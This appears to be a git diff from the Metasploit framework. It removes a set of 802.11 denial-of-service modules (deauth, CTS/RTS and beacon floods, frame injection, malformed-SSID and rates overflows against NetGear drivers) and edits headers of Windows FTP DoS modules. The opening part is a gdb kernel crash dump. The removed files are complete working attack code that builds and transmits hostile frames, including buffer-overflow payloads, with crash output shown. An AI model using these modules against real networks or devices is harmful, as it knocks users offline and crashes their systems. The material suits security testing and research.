0x79fa54 <com.apple.driver.AppleAirPort + 0x8a54> -0x17443ce0 0x79ff94 <com.apple.driver.AppleAirPort + 0x8f94> -0x17443d90 0x79febc <com.apple.driver.AppleAirPort + 0x8ebc> -0x17443df0 0x2d0b94 <_ZN22IOInterruptEventSource12checkForWorkEv+184> -0x17443e40 0x2cfa5c <_ZN10IOWorkLoop10threadMainEv+104> -0x17443e90 0xa9314 <Call_continuation+20> -stackbottom=0x17443e90 - - -(gdb) x/3i $pc -0x7a2260 <mhp.1762+3571640>: lbz r8,0(r2) -0x7a2264 <mhp.1762+3571644>: addi r2,r2,1 -0x7a2268 <mhp.1762+3571648>: stw r2,0(r11) - -(gdb) i r $r2 -r2 0xdefacf7 233811191 - -(gdb) x/x $r11 -0x17443bb8: 0x0defacf7 - - -(gdb) bt -#0 0x007a2260 in mhp.1762 () -#1 0x007a1d48 in mhp.1762 () -warning: Previous frame identical to this frame (corrupt stack?) -#2 0x007a1d48 in mhp.1762 () -#3 0x0079fa54 in mhp.1762 () -#4 0x0079ff94 in mhp.1762 () -#5 0x0079febc in mhp.1762 () -#6 0x002d0b94 in IOInterruptEventSource::checkForWork (this=0x1d80d40) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOInterruptEventSource.cpp:196 -#7 0x002cfa5c in IOWorkLoop::threadMain (this=0x1d803c0) at /SourceCache/xnu/xnu-792.12.6/iokit/Kernel/IOWorkLoop.cpp:267 - - -(gdb) x/40x $r1 -0x17443b60: 0x17443be0 0x22424022 0x01bc80ac 0x00000038 -0x17443b70: 0x00d43c54 0x0004ffff 0x01bc81f4 0x00000210 -0x17443b80: 0x02275000 0x003d8000 0x004fa418 0x00365000 -0x17443b90: 0x01d803c0 0x00033e88 0x01a7c01c 0x01a7c0a4 -0x17443ba0: 0x0defaced 0x01bc8000 0x0227581e 0x0defacf7 -0x17443bb0: 0x00000000 0x0227581e 0x0defacf7 0x00000001 -0x17443bc0: 0x00000002 0x01bc81f4 0x00000000 0x00000000 -0x17443bd0: 0x17443c10 0x01a858c0 0x17443be0 0x01d80d40 -0x17443be0: 0x17443c60 0x01bc81f4 0x007a1d48 0x00000000 -0x17443bf0: 0x17443c20 0x00008088 0x01bc8000 0x0227581e - -=end diff --git a/modules/auxiliary/dos/wifi/cts_rts_flood.rb b/modules/auxiliary/dos/wifi/cts_rts_flood.rb deleted file mode 100644 index 4379dce61a..0000000000 --- a/modules/auxiliary/dos/wifi/cts_rts_flood.rb +++ /dev/null @@ -1,78 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info ={}) - super(update_info(info, - 'Name' => 'Wireless CTS/RTS Flooder', - 'Description' => %q{ - This module sends 802.11 CTS/RTS requests to a specific wireless peer, - using the specified source address, - }, - 'Author' => [ 'Brad Antoniewicz' ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]), - OptString.new('ADDR_SRC',[false, "Source MAC (not needed for CTS)"]), - OptString.new('TYPE',[true,"Type of Frame (RTS, CTS)",'RTS']), - OptInt.new('NUM',[true, "Number of frames to send",100]) - ],self.class) - end - - def run - case datastore['TYPE'].upcase - when 'RTS' - if (!datastore['ADDR_SRC']) - print_error("FAILED: RTS Flood selected but ADDR_SRC not set!") - return - end - frame = create_rts() - when 'CTS' - - frame = create_cts() - else - print_error("No TYPE selected!!") - return - end - - open_wifi - print_status("Sending #{datastore['NUM']} #{datastore['TYPE'].upcase} frames.....") - - datastore['NUM'].to_i.times do - wifi.write(frame) - end - - end - def create_rts - - frame = - "\xb4" + # Type/SubType - "\x00" + # Flags - "\xff\x7f" + # Duration - eton(datastore['ADDR_DST']) + # dst addr - eton(datastore['ADDR_SRC']) # src addr - - return frame - end - def create_cts - - frame = - "\xc4" + # Type/SubType - "\x00" + # Flags - "\xff\x7f" + # Duration - eton(datastore['ADDR_DST']) # dst addr - - return frame - end -end diff --git a/modules/auxiliary/dos/wifi/deauth.rb b/modules/auxiliary/dos/wifi/deauth.rb deleted file mode 100644 index d1ccfe0229..0000000000 --- a/modules/auxiliary/dos/wifi/deauth.rb +++ /dev/null @@ -1,65 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info ={}) - super(update_info(info, - 'Name' => 'Wireless DEAUTH Flooder', - 'Description' => %q{ - This module sends 802.11 DEAUTH requests to a specific wireless peer, - using the specified source address and source BSSID. - }, - - 'Author' => [ 'Brad Antoniewicz' ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - OptString.new('ADDR_DST',[true, "TARGET MAC (e.g 00:DE:AD:BE:EF:00)"]), - OptString.new('ADDR_SRC',[true, "Source MAC (e.g 00:DE:AD:BE:EF:00)"]), - OptString.new('ADDR_BSS',[true, "BSSID (e.g 00:DE:AD:BE:EF:00)"]), - OptInt.new('NUM',[true, "Number of frames to send",100]) - ],self.class) - end - - def run - - print_status("Creating Deauth frame with the following attributes:") - print_status("\tDST: #{datastore['ADDR_DST']}") - print_status("\tSRC: #{datastore['ADDR_SRC']}") - print_status("\tBSSID: #{datastore['ADDR_BSS']}") - - open_wifi - - print_status("Sending #{datastore['NUM']} frames.....") - - datastore['NUM'].to_i.times do - wifi.write(create_deauth()) - end - close_wifi - end - - def create_deauth - - seq = [rand(255)].pack('n') - frame = - "\xc0" + # Type/SubType - "\x00" + # Flags - "\x3a\x01" + # Duration - eton(datastore['ADDR_DST']) + # dst addr - eton(datastore['ADDR_SRC']) + # src addr - eton(datastore['ADDR_BSS']) + # BSSID - seq + # sequence number - "\x07\x00" # Reason Code (nonassoc. sta) - return frame - end -end diff --git a/modules/auxiliary/dos/wifi/fakeap.rb b/modules/auxiliary/dos/wifi/fakeap.rb deleted file mode 100644 index d0d489a4d3..0000000000 --- a/modules/auxiliary/dos/wifi/fakeap.rb +++ /dev/null @@ -1,90 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Fake Access Point Beacon Flood', - 'Description' => %q{ - This module can advertise thousands of fake access - points, using random SSIDs and BSSID addresses. Inspired - by Black Alchemy's fakeap tool. - }, - - 'Author' => [ 'hdm', 'kris katterjohn' ], - 'License' => MSF_LICENSE - )) - - register_options([ - OptInt.new('NUM', [false, "Number of beacons to send"]), - OptString.new('BSSID', [false, "Use this static BSSID (e.g. AA:BB:CC:DD:EE:FF)"]), - OptString.new('SSID', [false, "Use this static SSID"]) - ]) - end - - def run - open_wifi - print_status("Sending fake beacon frames...") - if datastore['NUM'].nil? or datastore['NUM'] == 0 - wifi.write(create_frame()) while true - else - datastore['NUM'].times { wifi.write(create_frame()) } - end - end - - def create_frame - - ssid = datastore['SSID'] || Rex::Text.rand_text_alpha(rand(31)+1) - if datastore['BSSID'] - bssid = eton(datastore['BSSID']) - else - bssid = Rex::Text.rand_text(6) - end - seq = [rand(255)].pack('n') - - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - "\xff\xff\xff\xff\xff\xff" + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x00\x05" + # capability flags - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + datastore['CHANNEL'].to_i.chr + - - # traffic indication map - "\x05" + "\x04" + "\x00\x01\x02\x20" + - - # country information - "\x07" + "\x06" + "\x55\x53\x20\x01\x0b\x12" + - - # erp information - "\x2a" + "\x01" + "\x00" + - - # extended supported rates - "\x32" + "\x04" + "\x12\x24\x60\x6c" - - end - -end diff --git a/modules/auxiliary/dos/wifi/file2air.rb b/modules/auxiliary/dos/wifi/file2air.rb deleted file mode 100644 index 36cf74d999..0000000000 --- a/modules/auxiliary/dos/wifi/file2air.rb +++ /dev/null @@ -1,110 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Frame (File) Injector', - 'Description' => %q{ - Inspired by Josh Wright's file2air, this module writes - wireless frames from a binary file to the air, allowing - you to substitute some addresses before it gets sent. - Unlike the original file2air (currently v1.1), this module - *does* take into account the ToDS and FromDS flags in the - frame when replacing any specified addresses. - }, - # 11/03/2008 - 'Author' => 'kris katterjohn', - 'License' => MSF_LICENSE - )) - - register_options([ - OptString.new('FILE', [true, 'Filename to write to the air']), - OptString.new('ADDR_DST', [false, 'Target MAC (e.g. 00:DE:AD:BE:EF:00)']), - OptString.new('ADDR_SRC', [false, 'Source MAC (e.g. 00:DE:AD:BE:EF:00)']), - OptString.new('BSSID', [false, 'BSSID (e.g. 00:DE:AD:BE:EF:00)']), - OptInt.new('NUM', [true, 'Number of frames to send', 1]) - ], self.class) - end - - def run - begin - frame = File.read(datastore['FILE']) - rescue ::Exception - print_status("Couldn't read from \"#{datastore['FILE']}\": #{$!}") - return - end - - # Sending too much data can cause local problems, even if it's - # less than the 802.11 MTU. Gotta draw the line somewhere. - if frame.length < 10 or frame.length > 1800 - print_status("Invalid frame size (should be 10-1800 bytes)") - return - end - - if datastore['BSSID'] or datastore['ADDR_DST'] or datastore['ADDR_SRC'] - if not substaddrs(frame) - print_status("This module doesn't support modifying frames with both ToDS and FromDS set") - return - end - end - - open_wifi - - print_status("Writing out #{datastore['NUM']} frames...") - - datastore['NUM'].times do - wifi.write(frame) - end - - close_wifi - end - - def substaddrs(frame) - tods = (frame[1] & 1) == 1 - fromds = (frame[1] & 2) == 2 - - if tods - if fromds - # Not going to handle this 4-address special-case - return nil - else - substaddr1(frame, datastore['BSSID']) - substaddr2(frame, datastore['ADDR_SRC']) - substaddr3(frame, datastore['ADDR_DST']) - end - else - if fromds - substaddr1(frame, datastore['ADDR_DST']) - substaddr2(frame, datastore['BSSID']) - substaddr3(frame, datastore['ADDR_SRC']) - else - substaddr1(frame, datastore['ADDR_DST']) - substaddr2(frame, datastore['ADDR_SRC']) - substaddr3(frame, datastore['BSSID']) - end - end - - true - end - - def substaddr1(frame, addr) - frame[4,6] = eton(addr) if addr - end - - def substaddr2(frame, addr) - frame[10,6] = eton(addr) if addr - end - - def substaddr3(frame, addr) - frame[16,6] = eton(addr) if addr - end -end diff --git a/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb b/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb deleted file mode 100644 index 3a860c5929..0000000000 --- a/modules/auxiliary/dos/wifi/netgear_ma521_rates.rb +++ /dev/null @@ -1,118 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'NetGear MA521 Wireless Driver Long Rates Overflow', - 'Description' => %q{ - This module exploits a buffer overflow in the NetGear MA521 wireless device - driver under Windows XP. When a specific malformed frame (beacon or probe response) - is received by the wireless interface under active scanning mode, the MA521nd5.SYS - driver attempts to write to an attacker-controlled memory location. The vulnerability - is triggered by an invalid supported rates information element. - - This DoS was tested with version 5.148.724.2003 of the MA521nd5.SYS driver and a - NetGear MA521 Cardbus adapter. A remote code execution module is also in development. - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-6059'], - ['OSVDB', '30507'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-18-11-2006.html'], - ['URL', 'ftp://downloads.netgear.com/files/ma521_1_2.zip'] - ] - )) - register_options( - [ - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system", 'FF:FF:FF:FF:FF:FF']) - ], self.class) - end - - def run - - open_wifi - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Creating malicious beacon frame...") - - frame = create_beacon() - - print_status("Sending malicious beacon frames for #{datastore['RUNTIME']} seconds...") - - while (stime + rtime > Time.now.to_i) - wifi.write(frame) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - count += 1 - end - - print_status("Completed sending #{count} beacons.") - end - - def create_beacon - ssid = Rex::Text.rand_text(6) - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x01\x00" + # capabilities - - # ssid IE - "\x00" + ssid.length.chr + ssid + - - # supported rates IE overflow - "\x01" + "\xFF" + ("\x41" * 255) + - - # channel IE - "\x03" + "\x01" + channel.chr - - return frame - - end -end - -=begin -******************************************************************************* -* * -* Bugcheck Analysis * -* * -******************************************************************************* - -DRIVER_IRQL_NOT_LESS_OR_EQUAL (d1) -An attempt was made to access a pageable (or completely invalid) address at an -interrupt request level (IRQL) that is too high. This is usually -caused by drivers using improper addresses. -If kernel debugger is available get stack backtrace. -Arguments: -Arg1: 41414141, memory referenced -Arg2: 00000002, IRQL -Arg3: 00000000, value 0 = read operation, 1 = write operation -Arg4: aa1ec75a, address which referenced memory -=end diff --git a/modules/auxiliary/dos/wifi/netgear_wg311pci.rb b/modules/auxiliary/dos/wifi/netgear_wg311pci.rb deleted file mode 100644 index f84b60c261..0000000000 --- a/modules/auxiliary/dos/wifi/netgear_wg311pci.rb +++ /dev/null @@ -1,116 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'NetGear WG311v1 Wireless Driver Long SSID Overflow', - 'Description' => %q{ - This module exploits a buffer overflow in the NetGear WG311v1 wireless device - driver under Windows XP and 2000. A kernel-mode heap overflow occurs - when malformed probe response frame is received that contains a long SSID field - - This DoS was tested with version 2.3.1.10 of the WG311ND5.SYS driver and a - NetGear WG311v1 PCI card. A remote code execution module is also in development. - - This module depends on the Lorcon2 library and only works on the Linux platform - with a supported wireless card. Please see the Ruby Lorcon2 documentation - (external/ruby-lorcon/README) for more information. - }, - 'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module - 'License' => MSF_LICENSE, - 'References' => - [ - ['CVE', '2006-6125'], - ['OSVDB', '30511'], - ['URL', 'http://projects.info-pull.com/mokb/MOKB-22-11-2006.html'], - ['URL', 'ftp://downloads.netgear.com/files/wg311_1_3.zip'], - ] - )) - register_options( - [ - OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) - ], self.class) - end - - def run - - open_wifi - - stime = Time.now.to_i - rtime = datastore['RUNTIME'].to_i - count = 0 - - print_status("Creating malicious probe response frame...") - - frame = create_probe_response() - - print_status("Sending malicious probe response frames for #{datastore['RUNTIME']} seconds...") - - while (stime + rtime > Time.now.to_i) - wifi.write(frame) - select(nil, nil, nil, 0.10) if (count % 100 == 0) - count += 1 - end - - print_status("Completed sending #{count} probe responses.") - end - - def create_probe_response - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x01\x00" + # capabilities - - # SSID IE overflow - "\x00" + "\xff" + ("\x41" * 255) + - - # supported rates IE - "\x01" + "\x08" + "\x02\x04\x0b\x16\x0c\x18\x30\x48" + - - # channel IE - "\x03" + "\x01" + channel.chr - - return frame - - end -end - -=begin -******************************************************************************* -* * -* Bugcheck Analysis * -* * -******************************************************************************* - -BAD_POOL_HEADER (19) -The pool is already corrupt at the time of the current request. -This may or may not be due to the caller. -The internal pool links must be walked to figure out a possible cause of -the problem, and then special pool applied to the suspect tags or the driver -verifier to a suspect driver. -Arguments: -Arg1: 00000020, a pool block header size is corrupt. -Arg2: 81cae7b0, The pool entry we were looking for within the page. -Arg3: 81cae8c8, The next pool entry. -Arg4: 0a23002b, (reserved) -=end diff --git a/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb b/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb deleted file mode 100644 index ba35201cb6..0000000000 --- a/modules/auxiliary/dos/wifi/probe_resp_null_ssid.rb +++ /dev/null @@ -1,74 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Multiple Wireless Vendor NULL SSID Probe Response', - 'Description' => %q{ - This module exploits a firmware-level vulnerability in a variety of - 802.11b devices. This attack works by sending a probe response frame - containing a NULL SSID information element to an affected device. This - flaw affects many cards based on the Choice MAC (Intersil, Lucent, Agere, - Orinoco, and the first generation of Airport cards). - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'http://802.11ninja.net/papers/firmware_attack.pdf'], - ['WVE', '2006-0064'] - ] - )) - register_options( - [ - OptInt.new('COUNT', [ true, "The number of frames to send", 2000]), - OptString.new('ADDR_DST', [ true, "The MAC address of the target system"]) - ], self.class) - end - - def run - open_wifi - - cnt = datastore['COUNT'].to_i - - print_status("Creating malicious probe response frame...") - frame = create_frame() - - print_status("Sending #{cnt} frames...") - cnt.times { wifi.write(frame) } - end - - def create_frame - bssid = Rex::Text.rand_text(6) - seq = [rand(255)].pack('n') - caps = [rand(65535)].pack('n') - - frame = - "\x50" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - eton(datastore['ADDR_DST']) + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - Rex::Text.rand_text(2) + # beacon interval - Rex::Text.rand_text(2) + # capabilities - [0, 0].pack('CC') # Type=SSID(0) Length=0 - - return frame - - end -end diff --git a/modules/auxiliary/dos/wifi/ssidlist_beacon.rb b/modules/auxiliary/dos/wifi/ssidlist_beacon.rb deleted file mode 100644 index 66fad3d770..0000000000 --- a/modules/auxiliary/dos/wifi/ssidlist_beacon.rb +++ /dev/null @@ -1,108 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Beacon SSID Emulator', - 'Description' => %q{ - This module sends out beacon frames using SSID's identified in a - specified file and randomly selected BSSID's. This is useful when - combined with a Karmetasploit attack to get clients configured to - not probe for networks in their PNL to start probing when they see a - matching SSID in from this script. For a list of common SSID's to - use with this script, check http://www.wigle.net/gps/gps/main/ssidstats. - If a file of SSID's is not specified, a default list of 20 SSID's will - be used. This script will run indefinitely until interrupted. - }, - - 'Author' => [ 'joswr1ght', 'hdm' ], - 'License' => MSF_LICENSE - )) - register_options( - [ - OptString.new('SSIDS_FILE', [ false, "Filename of SSID's to broadcast, one per line"]) - ], self.class) - end - - - def run - - @@uni = 0 - - frames = [] - - open_wifi - - ssidlist = [] - if datastore['SSIDS_FILE'] - begin - ssidfile = File.new(datastore['SSIDS_FILE'], "r") - rescue ::Exception - print_status("Couldn't read from \"#{datastore['SSIDS_FILE']}\": #{$!}") - return - end - ssidfile.each_line do |line| - ssidlist.push line.chomp - end - else - ssidlist = ["linksys", "default", "NETGEAR", "Belkin54g", "Wireless", - "WLAN", "home", "DLINK", "smc", "tsunami", "tmobile", "101", "panera", - "hhonors", "GlobalSuiteWireless", "Internet", "WiFi", "public", "guest", - "test"] - end - - print_status("Sending beacon frames...") - - while (true) - ssidlist.each do |ssid| - #print_status("Sending frame for SSID #{ssid}") - frame = create_frame(ssid) - wifi.write(frame) - end - end - end - - - def create_frame(ssid) - mtu = 1500 # 2312 # 1514 - ies = rand(1024) - - bssid = "0" + ssid[0..4] - seq = [rand(255)].pack('n') - - frame = - "\x80" + # type/subtype - "\x00" + # flags - "\x00\x00" + # duration - "\xff\xff\xff\xff\xff\xff" + # dst - bssid + # src - bssid + # bssid - seq + # seq - Rex::Text.rand_text(8) + # timestamp value - "\x64\x00" + # beacon interval - "\x04\x01" + # capability flags - - # ssid tag - "\x00" + ssid.length.chr + ssid + - - # supported rates - "\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" + - - # current channel - "\x03" + "\x01" + channel.chr - - return frame - - end -end diff --git a/modules/auxiliary/dos/wifi/wifun.rb b/modules/auxiliary/dos/wifi/wifun.rb deleted file mode 100644 index b6bc822bfb..0000000000 --- a/modules/auxiliary/dos/wifi/wifun.rb +++ /dev/null @@ -1,33 +0,0 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - - -require 'msf/core' - - -class Metasploit3 < Msf::Auxiliary - - include Msf::Exploit::Lorcon2 - include Msf::Auxiliary::Dos - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'Wireless Test Module', - 'Description' => %q{ - This module is a test of the wireless packet injection system. - Please see external/ruby-lorcon/README for more information. - }, - - 'Author' => [ 'hdm' ], - 'License' => MSF_LICENSE - )) - end - - def run - open_wifi - wifi.write("X" * 1000) - end - -end diff --git a/modules/auxiliary/dos/windows/appian/appian_bpm.rb b/modules/auxiliary/dos/windows/appian/appian_bpm.rb index 4c8f6ef849..9dfea04d72 100644 --- a/modules/auxiliary/dos/windows/appian/appian_bpm.rb +++ b/modules/auxiliary/dos/windows/appian/appian_bpm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb index c76ceb8bc2..18ac1c4212 100644 --- a/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb +++ b/modules/auxiliary/dos/windows/browser/ms09_065_eot_integer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb index 7ea81bd7e1..5686914817 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_admin_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb index 7ea991c86e..b082718fe9 100644 --- a/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb +++ b/modules/auxiliary/dos/windows/ftp/filezilla_server_port.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'FileZilla FTP Server <=0.9.21 Malformed PORT Denial of Service', + 'Name' => 'FileZilla FTP Server Malformed PORT Denial of Service', 'Description' => %q{ This module triggers a Denial of Service condition in the FileZilla FTP Server versions 0.9.21 and earlier. By sending a malformed PORT command diff --git a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb index 5bc4e21f7c..8a2a932f4f 100644 --- a/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb +++ b/modules/auxiliary/dos/windows/ftp/guildftp_cwdlist.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb index a55cc02e61..ac1e6022f9 100644 --- a/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb +++ b/modules/auxiliary/dos/windows/ftp/iis75_ftpd_iac_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb index b123f78e0d..ec904e1f1e 100644 --- a/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb +++ b/modules/auxiliary/dos/windows/ftp/iis_list_exhaustion.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,7 +12,7 @@ class Metasploit3 < Msf::Auxiliary def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft IIS FTP Server <= 7.0 LIST Stack Exhaustion', + 'Name' => 'Microsoft IIS FTP Server LIST Stack Exhaustion', 'Description' => %q{ This module triggers Denial of Service condition in the Microsoft Internet Information Services (IIS) FTP Server 5.0 through 7.0 via a list (ls) -R command diff --git a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb index 986c0cca98..5dd3d2a7da 100644 --- a/modules/auxiliary/dos/windows/ftp/solarftp_user.rb +++ b/modules/auxiliary/dos/windows/ftp/solarftp_user.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -12,11 +12,12 @@ class Metasploit3 < Msf::Auxiliary def initialize(info={}) super(update_info(info, - 'Name' => 'Solar FTP Server <= 2.1.1 Malformed (User) Denial of Service', + 'Name' => 'Solar FTP Server Malformed USER Denial of Service', 'Description' => %q{ - This module will send a format string as USER to Solar FTP, causing a READ - violation in function "__output_1()" found in "sfsservice.exe" while trying to - calculate the length of the string. + This module will send a format string as USER to Solar FTP, causing a + READ violation in function "__output_1()" found in "sfsservice.exe" + while trying to calculate the length of the string. This vulnerability + affects versions 2.1.1 and earlier. }, 'Author' => [ diff --git a/modules/auxiliary/dos/windows/ftp/titan626_site.rb b/modules/auxiliary/dos/windows/ftp/titan626_site.rb index cd504fd469..e97dc9134f 100644 --- a/modules/auxiliary/dos/windows/ftp/titan626_site.rb +++ b/modules/auxiliary/dos/windows/ftp/titan626_site.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb index e864d1545d..4db6db9836 100644 --- a/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb +++ b/modules/auxiliary/dos/windows/ftp/vicftps50_list.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb index 7ddb964100..b948914501 100644 --- a/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb +++ b/modules/auxiliary/dos/windows/ftp/winftp230_nlst.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb b/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb index ff3629126d..db9d2e31c5 100644 --- a/modules/auxiliary/dos/windows/ftp/xmeasy560_nlst.rb +++ 